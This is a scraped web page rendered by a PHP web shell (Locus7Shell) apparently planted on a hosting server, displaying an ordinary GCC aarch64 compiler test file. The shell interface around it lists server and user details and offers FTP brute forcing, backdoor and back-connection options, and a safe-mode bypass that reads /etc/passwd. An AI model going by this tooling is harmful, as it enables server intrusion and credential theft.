Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/aarch64/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     bsl-idiom.c (2.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-O2 -fdump-rtl-combine --save-temps" } */

/* Test that we don't generate BSL when in DImode with values in integer
   registers, and do generate it where we have values in floating-point
   registers.  This is useful, as it allows us to avoid register moves
   in the general case.

   We want:
    eor    x0, x0, x1
    and    x0, x0, x2
    eor    x0, x0, x1
    ret

   Rather than:
    fmov    d2, x0
    fmov    d0, x2
    fmov    d1, x1
    bsl    v0.8b, v2.8b, v1.8b
    fmov    x0, d0
    ret  */

extern void abort (void);

unsigned long long __attribute__ ((noinline))
foo (unsigned long long a, unsigned long long b, unsigned long long c)
{
  return ((a ^ b) & c) ^ b;
}

unsigned long long __attribute__ ((noinline))
foo2 (unsigned long long a, unsigned long long b, unsigned long long c)
{
  return ((a ^ b) & c) ^ a;
}

#define force_simd(V1)   asm volatile ("mov %d0, %1.d[0]"    \
       : "=w"(V1)                        \
       : "w"(V1)                        \
       : /* No clobbers */);

unsigned long long __attribute__ ((noinline))
bar (unsigned long long a, unsigned long long b, unsigned long long c)
{
  force_simd (a);
  force_simd (b);
  force_simd (c);
  c = ((a ^ b) & c) ^ b;
  force_simd (c);
  return c;
}

unsigned long long __attribute__ ((noinline))
bar2 (unsigned long long a, unsigned long long b, unsigned long long c)
{
  force_simd (a);
  force_simd (b);
  force_simd (c);
  c = ((a ^ b) & c) ^ a;
  force_simd (c);
  return c;
}

int
main (int argc, char** argv)
{
  unsigned long long a = 0x0123456789abcdefULL;
  unsigned long long b = 0xfedcba9876543210ULL;
  unsigned long long c = 0xaabbccddeeff7777ULL;
  if (foo (a, b, c) != bar (a, b, c))
    abort ();
  if (foo2 (a, b, c) != bar2 (a, b, c))
    abort ();
  return 0;
}

/* 2 BSL, 6 FMOV (to floating-point registers), and 2 FMOV (to general
purpose registers) for the "bar" tests, which should still use BSL.  */
/* { dg-final { scan-assembler-times "bsl\tv\[0-9\]" 2 } } */
/* { dg-final { scan-assembler-times "fmov\td\[0-9\]" 6 } } */
/* { dg-final { scan-assembler-times "fmov\tx\[0-9\]" 2 } } */

/* { dg-final { scan-assembler-not "bif\tv\[0-9\]" } } */
/* { dg-final { scan-assembler-not "bit\tv\[0-9\]" } } */

/* We always match the idiom during combine.  */
/* { dg-final { scan-rtl-dump-times "aarch64_simd_bsldi_internal" 2 "combine" } } */
/* { dg-final { scan-rtl-dump-times "aarch64_simd_bsldi_alt" 2 "combine" } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--